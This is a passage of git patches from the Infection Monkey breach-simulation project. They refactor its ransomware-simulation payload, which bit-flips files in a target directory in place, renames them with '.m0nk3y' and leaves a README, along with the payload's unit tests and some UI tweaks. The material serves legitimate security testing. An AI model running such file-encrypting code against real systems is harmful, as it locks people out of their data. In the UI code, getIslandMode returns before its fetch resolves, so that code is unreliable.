+ encryptor(test_keyboard) + + assert not test_keyboard.exists() + assert encrypted_test_keyboard.exists() + assert hash_file(encrypted_test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 From 0cb975a592cd36c35fbd509e1ad5b571a17cff2f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 08:38:51 -0400 Subject: [PATCH 1133/1360] Agent: Rename InPlaceEncryptor -> InPlaceFileEncryptor --- ...encryptor.py => in_place_file_encryptor.py} | 2 +- ...ptor.py => test_in_place_file_encryptor.py} | 18 +++++++++--------- 2 files changed, 10 insertions(+), 10 deletions(-) rename monkey/infection_monkey/ransomware/{in_place_encryptor.py => in_place_file_encryptor.py} (97%) rename monkey/tests/unit_tests/infection_monkey/ransomware/{test_in_place_encryptor.py => test_in_place_file_encryptor.py} (72%) diff --git a/monkey/infection_monkey/ransomware/in_place_encryptor.py b/monkey/infection_monkey/ransomware/in_place_file_encryptor.py similarity index 97% rename from monkey/infection_monkey/ransomware/in_place_encryptor.py rename to monkey/infection_monkey/ransomware/in_place_file_encryptor.py index beb3c151824..f4bcaf3aa32 100644 --- a/monkey/infection_monkey/ransomware/in_place_encryptor.py +++ b/monkey/infection_monkey/ransomware/in_place_file_encryptor.py @@ -5,7 +5,7 @@ FILE_EXTENSION_REGEX = re.compile(r"^\.[^\\/]+$") -class InPlaceEncryptor: +class InPlaceFileEncryptor: def __init__( self, encrypt_bytes: Callable[[bytes], bytes], diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py similarity index 72% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py rename to monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py index ab7f430281d..3003311d0ff 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py @@ -11,7 +11,7 @@ ) from tests.utils import hash_file -from infection_monkey.ransomware.in_place_encryptor import InPlaceEncryptor +from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor from infection_monkey.utils.bit_manipulators import flip_bits EXTENSION = ".m0nk3y" @@ -22,14 +22,14 @@ def with_extension(filename): @pytest.fixture(scope="module") -def in_place_bitflip_encryptor(): - return InPlaceEncryptor(encrypt_bytes=flip_bits, chunk_size=64) +def in_place_bitflip_file_encryptor(): + return InPlaceFileEncryptor(encrypt_bytes=flip_bits, chunk_size=64) @pytest.mark.parametrize("invalid_extension", ["no_dot", ".has/slash", ".has\\slash"]) def test_invalid_file_extension(invalid_extension): with pytest.raises(ValueError): - InPlaceEncryptor(encrypt_bytes=None, new_file_extension=invalid_extension) + InPlaceFileEncryptor(encrypt_bytes=None, new_file_extension=invalid_extension) @pytest.mark.parametrize( @@ -40,22 +40,22 @@ def test_invalid_file_extension(invalid_extension): ], ) def test_file_encrypted( - in_place_bitflip_encryptor, ransomware_target, file_name, cleartext_hash, encrypted_hash + in_place_bitflip_file_encryptor, ransomware_target, file_name, cleartext_hash, encrypted_hash ): test_keyboard = ransomware_target / file_name assert hash_file(test_keyboard) == cleartext_hash - in_place_bitflip_encryptor(test_keyboard) + in_place_bitflip_file_encryptor(test_keyboard) assert hash_file(test_keyboard) == encrypted_hash -def test_file_encrypted_in_place(in_place_bitflip_encryptor, ransomware_target): +def test_file_encrypted_in_place(in_place_bitflip_file_encryptor, ransomware_target): test_keyboard = ransomware_target / TEST_KEYBOARD_TXT expected_inode = os.stat(test_keyboard).st_ino - in_place_bitflip_encryptor(test_keyboard) + in_place_bitflip_file_encryptor(test_keyboard) actual_inode = os.stat(test_keyboard).st_ino assert expected_inode == actual_inode @@ -64,7 +64,7 @@ def test_file_encrypted_in_place(in_place_bitflip_encryptor, ransomware_target): def test_encrypted_file_has_new_extension(ransomware_target): test_keyboard = ransomware_target / TEST_KEYBOARD_TXT encrypted_test_keyboard = ransomware_target / with_extension(TEST_KEYBOARD_TXT) - encryptor = InPlaceEncryptor(encrypt_bytes=flip_bits, new_file_extension=EXTENSION) + encryptor = InPlaceFileEncryptor(encrypt_bytes=flip_bits, new_file_extension=EXTENSION) encryptor(test_keyboard) From d9cc66de547c0228ddf23fb179e1e7933baac09d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 08:50:49 -0400 Subject: [PATCH 1134/1360] Agent: Inject InPlaceFileEncryptor into RansomwarePayload --- monkey/infection_monkey/monkey.py | 7 ++++ .../ransomware/bitflip_encryptor.py | 21 ------------ .../ransomware/ransomware_payload.py | 15 ++------ .../ransomware/test_bitflip_encryptor.py | 34 ------------------- .../ransomware/test_ransomware_payload.py | 26 ++++++++++++-- 5 files changed, 33 insertions(+), 70 deletions(-) delete mode 100644 monkey/infection_monkey/ransomware/bitflip_encryptor.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 0dcbbcd17d6..ffe431d8ae5 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -23,6 +23,7 @@ from infection_monkey.post_breach.post_breach_handler import PostBreach from infection_monkey.ransomware import ransomware_payload, readme_utils from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector +from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor from infection_monkey.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton @@ -40,6 +41,7 @@ from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem +from infection_monkey.utils.bit_manipulators import flip_bits from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException from infection_monkey.utils.monkey_dir import ( @@ -479,6 +481,10 @@ def run_ransomware(): telemetry_messenger = LegacyTelemetryMessengerAdapter() batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) + file_encryptor = InPlaceFileEncryptor( + encrypt_bytes=flip_bits, new_file_extension=".m0nk3y", chunk_size=(4096 * 24) + ) + targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() targeted_file_extensions.discard(ransomware_payload.EXTENSION) file_selector = ProductionSafeTargetFileSelector(targeted_file_extensions) @@ -486,6 +492,7 @@ def run_ransomware(): try: RansomwarePayload( WormConfiguration.ransomware, + file_encryptor, file_selector, readme_utils.leave_readme, batching_telemetry_messenger, diff --git a/monkey/infection_monkey/ransomware/bitflip_encryptor.py b/monkey/infection_monkey/ransomware/bitflip_encryptor.py deleted file mode 100644 index b31f8a40948..00000000000 --- a/monkey/infection_monkey/ransomware/bitflip_encryptor.py +++ /dev/null @@ -1,21 +0,0 @@ -from pathlib import Path - -from infection_monkey.utils import bit_manipulators - - -class BitflipEncryptor: - def __init__(self, chunk_size=64): - self._chunk_size = chunk_size - - def encrypt_file_in_place(self, filepath: Path): - with open(filepath, "rb+") as f: - data = f.read(self._chunk_size) - while data: - num_bytes_read = len(data) - - encrypted_data = bit_manipulators.flip_bits(data) - - f.seek(-num_bytes_read, 1) - f.write(encrypted_data) - - data = f.read(self._chunk_size) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 7b3a9a42a40..52604089ca1 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -4,16 +4,12 @@ from typing import Callable, List, Optional, Tuple from common.utils.file_utils import InvalidPath, expand_path -from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) -EXTENSION = ".m0nk3y" -CHUNK_SIZE = 4096 * 24 - README_SRC = Path(__file__).parent / "ransomware_readme.txt" README_DEST = "README.txt" @@ -22,6 +18,7 @@ class RansomwarePayload: def __init__( self, config: dict, + encrypt_file: Callable[[Path], None], select_files: Callable[[Path], List[Path]], leave_readme: Callable[[Path, Path], None], telemetry_messenger: ITelemetryMessenger, @@ -32,9 +29,8 @@ def __init__( self._readme_enabled = config["other_behaviors"]["readme"] self._target_dir = RansomwarePayload.get_target_dir(config) - self._new_file_extension = EXTENSION - self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) + self._encrypt_file = encrypt_file self._select_files = select_files self._leave_readme = leave_readme self._telemetry_messenger = telemetry_messenger @@ -77,8 +73,7 @@ def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exc for filepath in file_list: try: LOG.debug(f"Encrypting {filepath}") - self._encryptor.encrypt_file_in_place(filepath) - self._add_extension(filepath) + self._encrypt_file(filepath) self._send_telemetry(filepath, True, "") except Exception as ex: LOG.warning(f"Error encrypting {filepath}: {ex}") @@ -86,10 +81,6 @@ def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exc return results - def _add_extension(self, filepath: Path): - new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") - filepath.rename(new_filepath) - def _send_telemetry(self, filepath: Path, success: bool, error: str): encryption_attempt = FileEncryptionTelem(str(filepath), success, error) self._telemetry_messenger.send_telemetry(encryption_attempt) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py deleted file mode 100644 index 86066c51899..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_bitflip_encryptor.py +++ /dev/null @@ -1,34 +0,0 @@ -import os - -from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( - TEST_KEYBOARD_TXT, - TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, - TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, -) -from tests.utils import hash_file - -from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor - - -def test_file_encrypted(ransomware_target): - test_keyboard = ransomware_target / TEST_KEYBOARD_TXT - - assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - - encryptor = BitflipEncryptor(chunk_size=64) - encryptor.encrypt_file_in_place(test_keyboard) - - assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 - - -def test_file_encrypted_in_place(ransomware_target): - test_keyboard = ransomware_target / TEST_KEYBOARD_TXT - - expected_inode = os.stat(test_keyboard).st_ino - - encryptor = BitflipEncryptor(chunk_size=64) - encryptor.encrypt_file_in_place(test_keyboard) - - actual_inode = os.stat(test_keyboard).st_ino - - assert expected_inode == actual_inode diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 5b62f322885..7d21485ba55 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -54,15 +54,29 @@ def ransomware_payload(build_ransomware_payload, ransomware_payload_config): @pytest.fixture -def build_ransomware_payload(mock_file_selector, mock_leave_readme, telemetry_messenger_spy): +def build_ransomware_payload( + mock_file_encryptor, mock_file_selector, mock_leave_readme, telemetry_messenger_spy +): def inner(config): return RansomwarePayload( - config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy + config, + mock_file_encryptor, + mock_file_selector, + mock_leave_readme, + telemetry_messenger_spy, ) return inner +@pytest.fixture +def mock_file_encryptor(ransomware_target): + from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor + from infection_monkey.utils.bit_manipulators import flip_bits + + return InPlaceFileEncryptor(encrypt_bytes=flip_bits, new_file_extension=".m0nk3y") + + @pytest.fixture def mock_file_selector(ransomware_target): mock_file_selector.return_value = [ @@ -259,6 +273,8 @@ def test_readme_true( def test_no_readme_if_no_directory( monkeypatch, ransomware_payload_config, + mock_file_encryptor, + mock_file_selector, mock_leave_readme, telemetry_messenger_spy, ransomware_target, @@ -268,7 +284,11 @@ def test_no_readme_if_no_directory( ransomware_payload_config["other_behaviors"]["readme"] = True RansomwarePayload( - ransomware_payload_config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy + ransomware_payload_config, + mock_file_encryptor, + mock_file_selector, + mock_leave_readme, + telemetry_messenger_spy, ).run_payload() mock_leave_readme.assert_not_called() From 6dbac85256493576081f7c3674dc3e3c1984718f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 14 Jul 2021 15:00:21 +0200 Subject: [PATCH 1135/1360] ui: Hide scoutsuite run options in ransomware mode --- .../pages/RunMonkeyPage/RunOptions.js | 23 +++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index db8ca17f697..5fe6444d758 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -11,6 +11,7 @@ import AWSRunButton from './RunOnAWS/AWSRunButton'; import CloudOptions from './scoutsuite-setup/CloudOptions'; const CONFIG_URL = '/api/configuration/island'; +const MODE_URL = '/api/island-mode' function RunOptions(props) { @@ -56,6 +57,23 @@ function RunOptions(props) { return InlineSelection(defaultContents, newProps); } + function getIslandMode() { + let mode = ''; + authComponent.authFetch(MODE_URL) + .then(res => res.json()) + .then(res => { + mode = res.mode + } + ); + + if (mode === 'ransomware') { + return false; + } + else { + return true; + } + } + function defaultContents() { return ( <> @@ -69,14 +87,15 @@ function RunOptions(props) { setComponent(LocalManualRunOptions, {ips: ips, setComponent: setComponent}) }}/> - - } + {getIslandMode() && { setComponent(CloudOptions, {ips: ips, setComponent: setComponent}) }}/> + } ); } From 0be919b805b5566f6ce87faa6c1994ee0feb0a8c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 09:18:59 -0400 Subject: [PATCH 1136/1360] Agent: Use mock encryptor in test_ransomware_payload.py --- .../ransomware/ransomware_target_files.py | 7 - .../ransomware/test_ransomware_payload.py | 167 ++++-------------- 2 files changed, 32 insertions(+), 142 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py index d9940af5c11..1676c574fe8 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py @@ -1,21 +1,14 @@ SUBDIR = "subdir" ALL_ZEROS_PDF = "all_zeros.pdf" -ALREADY_ENCRYPTED_TXT_M0NK3Y = "already_encrypted.txt.m0nk3y" HELLO_TXT = "hello.txt" SHORTCUT_LNK = "shortcut.lnk" TEST_KEYBOARD_TXT = "test_keyboard.txt" TEST_LIB_DLL = "test_lib.dll" ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" -ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 = ( - "ff5e58498962ab8bd619d3a9cd24b9298e7efc25b4967b1ce3f03b0e6de2aa7a" -) -HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8" -SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9" TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( "9d1a38784b7eefef6384bfc4b89048017db840adace11504a947016072750b2b" ) -TEST_LIB_DLL_CLEARTEXT_SHA256 = "0922d3132f2378edf313b8c2b6609a2548879911686994ca45fc5c895a7e91b1" ALL_ZEROS_PDF_ENCRYPTED_SHA256 = "779c176e820dbdaf643419232cb4d2760360c8633d6fe209cf706707db799b4d" TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = ( diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 7d21485ba55..ca52bef5ced 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,39 +1,19 @@ -import os from pathlib import PurePosixPath from unittest.mock import MagicMock import pytest from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( ALL_ZEROS_PDF, - ALL_ZEROS_PDF_CLEARTEXT_SHA256, - ALL_ZEROS_PDF_ENCRYPTED_SHA256, - ALREADY_ENCRYPTED_TXT_M0NK3Y, - ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256, - HELLO_TXT, - HELLO_TXT_CLEARTEXT_SHA256, - SHORTCUT_LNK, - SHORTCUT_LNK_CLEARTEXT_SHA256, - SUBDIR, TEST_KEYBOARD_TXT, - TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, - TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, - TEST_LIB_DLL, - TEST_LIB_DLL_CLEARTEXT_SHA256, ) -from tests.utils import hash_file, is_user_admin from infection_monkey.ransomware.ransomware_payload import ( - EXTENSION, README_DEST, README_SRC, RansomwarePayload, ) -def with_extension(filename): - return f"{filename}{EXTENSION}" - - @pytest.fixture def ransomware_payload_config(ransomware_target): return { @@ -71,22 +51,16 @@ def inner(config): @pytest.fixture def mock_file_encryptor(ransomware_target): - from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor - from infection_monkey.utils.bit_manipulators import flip_bits - - return InPlaceFileEncryptor(encrypt_bytes=flip_bits, new_file_extension=".m0nk3y") + return MagicMock() @pytest.fixture def mock_file_selector(ransomware_target): - mock_file_selector.return_value = [ + selected_files = [ ransomware_target / ALL_ZEROS_PDF, ransomware_target / TEST_KEYBOARD_TXT, ] - return MagicMock(return_value=mock_file_selector.return_value) - - -mock_file_selector.return_value = None + return MagicMock(return_value=selected_files) @pytest.fixture @@ -113,105 +87,27 @@ def test_env_variables_in_target_dir_resolved_linux( mock_file_selector.assert_called_with(ransomware_target) -def test_file_with_excluded_extension_not_encrypted(ransomware_target, ransomware_payload): - ransomware_payload.run_payload() - - assert hash_file(ransomware_target / TEST_LIB_DLL) == TEST_LIB_DLL_CLEARTEXT_SHA256 - - -def test_shortcut_not_encrypted(ransomware_target, ransomware_payload): - ransomware_payload.run_payload() - - assert hash_file(ransomware_target / SHORTCUT_LNK) == SHORTCUT_LNK_CLEARTEXT_SHA256 - - -@pytest.mark.skipif( - os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" -) -def test_symlink_not_encrypted(ransomware_target, ransomware_payload): - SYMLINK = "symlink.pdf" - link_path = ransomware_target / SYMLINK - link_path.symlink_to(ransomware_target / TEST_LIB_DLL) - - ransomware_payload.run_payload() - - assert hash_file(ransomware_target / SYMLINK) == TEST_LIB_DLL_CLEARTEXT_SHA256 - - -def test_encryption_not_recursive(ransomware_target, ransomware_payload): +def test_all_selected_files_encrypted(ransomware_target, ransomware_payload, mock_file_encryptor): ransomware_payload.run_payload() - assert hash_file(ransomware_target / SUBDIR / HELLO_TXT) == HELLO_TXT_CLEARTEXT_SHA256 - - -def test_all_files_with_included_extension_encrypted(ransomware_target, ransomware_payload): - assert hash_file(ransomware_target / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 - assert hash_file(ransomware_target / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - - ransomware_payload.run_payload() - - assert ( - hash_file(ransomware_target / with_extension(ALL_ZEROS_PDF)) - == ALL_ZEROS_PDF_ENCRYPTED_SHA256 - ) - assert ( - hash_file(ransomware_target / with_extension(TEST_KEYBOARD_TXT)) - == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 - ) - - -def test_file_encrypted_in_place(ransomware_target, ransomware_payload): - expected_test_keyboard_inode = os.stat(ransomware_target / TEST_KEYBOARD_TXT).st_ino - - ransomware_payload.run_payload() - - actual_test_keyboard_inode = os.stat( - ransomware_target / with_extension(TEST_KEYBOARD_TXT) - ).st_ino - - assert expected_test_keyboard_inode == actual_test_keyboard_inode - - -def test_encryption_reversible(ransomware_target, ransomware_payload): - orig_path = ransomware_target / TEST_KEYBOARD_TXT - new_path = ransomware_target / with_extension(TEST_KEYBOARD_TXT) - assert hash_file(orig_path) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - - ransomware_payload.run_payload() - assert hash_file(new_path) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 - - new_path.rename(orig_path) - ransomware_payload.run_payload() - assert ( - hash_file(ransomware_target / with_extension(TEST_KEYBOARD_TXT)) - == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - ) - - -def test_skip_already_encrypted_file(ransomware_target, ransomware_payload): - ransomware_payload.run_payload() - - assert not (ransomware_target / with_extension(ALREADY_ENCRYPTED_TXT_M0NK3Y)).exists() - assert ( - hash_file(ransomware_target / ALREADY_ENCRYPTED_TXT_M0NK3Y) - == ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 - ) + assert mock_file_encryptor.call_count == 2 + mock_file_encryptor.assert_any_call(ransomware_target / ALL_ZEROS_PDF) + mock_file_encryptor.assert_any_call(ransomware_target / TEST_KEYBOARD_TXT) def test_encryption_skipped_if_configured_false( - build_ransomware_payload, ransomware_payload_config, ransomware_target + build_ransomware_payload, ransomware_payload_config, ransomware_target, mock_file_encryptor ): ransomware_payload_config["encryption"]["enabled"] = False ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() - assert hash_file(ransomware_target / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 - assert hash_file(ransomware_target / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + assert mock_file_encryptor.call_count == 0 def test_encryption_skipped_if_no_directory( - build_ransomware_payload, ransomware_payload_config, telemetry_messenger_spy + build_ransomware_payload, ransomware_payload_config, mock_file_encryptor ): ransomware_payload_config["encryption"]["enabled"] = True ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" @@ -219,7 +115,8 @@ def test_encryption_skipped_if_no_directory( ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() - assert len(telemetry_messenger_spy.telemetries) == 0 + + assert mock_file_encryptor.call_count == 0 def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): @@ -238,16 +135,27 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): def test_telemetry_failure( - monkeypatch, mock_file_selector, ransomware_payload, telemetry_messenger_spy + monkeypatch, ransomware_payload_config, mock_leave_readme, telemetry_messenger_spy ): - mock_file_selector.return_value = [PurePosixPath("/file/not/exist")] + file_not_exists = "/file/not/exist" + ransomware_payload = RansomwarePayload( + ransomware_payload_config, + MagicMock( + side_effect=FileNotFoundError( + f"[Errno 2] No such file or directory: '{file_not_exists}'" + ) + ), + MagicMock(return_value=[PurePosixPath(file_not_exists)]), + mock_leave_readme, + telemetry_messenger_spy, + ) ransomware_payload.run_payload() - telem_1 = telemetry_messenger_spy.telemetries[0] + telem = telemetry_messenger_spy.telemetries[0] - assert "/file/not/exist" in telem_1.get_data()["files"][0]["path"] - assert not telem_1.get_data()["files"][0]["success"] - assert "No such file or directory" in telem_1.get_data()["files"][0]["error"] + assert file_not_exists in telem.get_data()["files"][0]["path"] + assert not telem.get_data()["files"][0]["success"] + assert "No such file or directory" in telem.get_data()["files"][0]["error"] def test_readme_false( @@ -271,24 +179,13 @@ def test_readme_true( def test_no_readme_if_no_directory( - monkeypatch, - ransomware_payload_config, - mock_file_encryptor, - mock_file_selector, - mock_leave_readme, - telemetry_messenger_spy, - ransomware_target, + build_ransomware_payload, ransomware_payload_config, mock_leave_readme ): ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" ransomware_payload_config["other_behaviors"]["readme"] = True - RansomwarePayload( - ransomware_payload_config, - mock_file_encryptor, - mock_file_selector, - mock_leave_readme, - telemetry_messenger_spy, - ).run_payload() + ransomware_payload = build_ransomware_payload(ransomware_payload_config) + ransomware_payload.run_payload() mock_leave_readme.assert_not_called() From f725efd41aa21e598c271968990c54d71ed4fc33 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 14 Jul 2021 16:30:41 +0200 Subject: [PATCH 1137/1360] ui: Refactor scoutsuite hiding functions --- .../components/pages/RunMonkeyPage/RunOptions.js | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index 5fe6444d758..f38c489907a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -58,20 +58,18 @@ function RunOptions(props) { } function getIslandMode() { - let mode = ''; + let mode = 'advanced'; authComponent.authFetch(MODE_URL) .then(res => res.json()) .then(res => { mode = res.mode } ); + return mode; + } - if (mode === 'ransomware') { - return false; - } - else { - return true; - } + function shouldShowScoutsuite(){ + return getIslandMode() === 'advanced'; } function defaultContents() { @@ -87,8 +85,8 @@ function RunOptions(props) { setComponent(LocalManualRunOptions, {ips: ips, setComponent: setComponent}) }}/> - {getIslandMode() && } - {getIslandMode() && } + {shouldShowScoutsuite() && { From fd3cc46e55d1b5bf7985f0287a397de2a9fb8454 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 11:49:37 -0400 Subject: [PATCH 1138/1360] Agent: Remove unused return value from RansomwarePayload._encrypt_files --- monkey/infection_monkey/ransomware/ransomware_payload.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 52604089ca1..32530b28745 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,7 +1,7 @@ import logging from pathlib import Path from pprint import pformat -from typing import Callable, List, Optional, Tuple +from typing import Callable, List from common.utils.file_utils import InvalidPath, expand_path from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem @@ -66,10 +66,9 @@ def _find_files(self) -> List[Path]: LOG.info(f"Collecting files in {self._target_dir}") return sorted(self._select_files(self._target_dir)) - def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: + def _encrypt_files(self, file_list: List[Path]): LOG.info(f"Encrypting files in {self._target_dir}") - results = [] for filepath in file_list: try: LOG.debug(f"Encrypting {filepath}") @@ -79,8 +78,6 @@ def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exc LOG.warning(f"Error encrypting {filepath}: {ex}") self._send_telemetry(filepath, False, str(ex)) - return results - def _send_telemetry(self, filepath: Path, success: bool, error: str): encryption_attempt = FileEncryptionTelem(str(filepath), success, error) self._telemetry_messenger.send_telemetry(encryption_attempt) From 918d23398391c82eeb9fcc9d77f65ac06dffab95 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 09:31:00 -0400 Subject: [PATCH 1139/1360] Agent: Add build_ransomware_payload() function --- monkey/infection_monkey/monkey.py | 34 ++------------ .../ransomware/ransomware_payload_builder.py | 44 +++++++++++++++++++ 2 files changed, 47 insertions(+), 31 deletions(-) create mode 100644 monkey/infection_monkey/ransomware/ransomware_payload_builder.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index ffe431d8ae5..c4d2ac8542e 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -6,8 +6,6 @@ import time from threading import Thread -from InfectionMonkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS - import infection_monkey.tunnel as tunnel from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError @@ -21,27 +19,17 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.ransomware import ransomware_payload, readme_utils -from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector -from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor -from infection_monkey.ransomware.ransomware_payload import RansomwarePayload +from infection_monkey.ransomware.ransomware_payload_builder import build_ransomware_payload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -from infection_monkey.telemetry.messengers.batching_telemetry_messenger import ( - 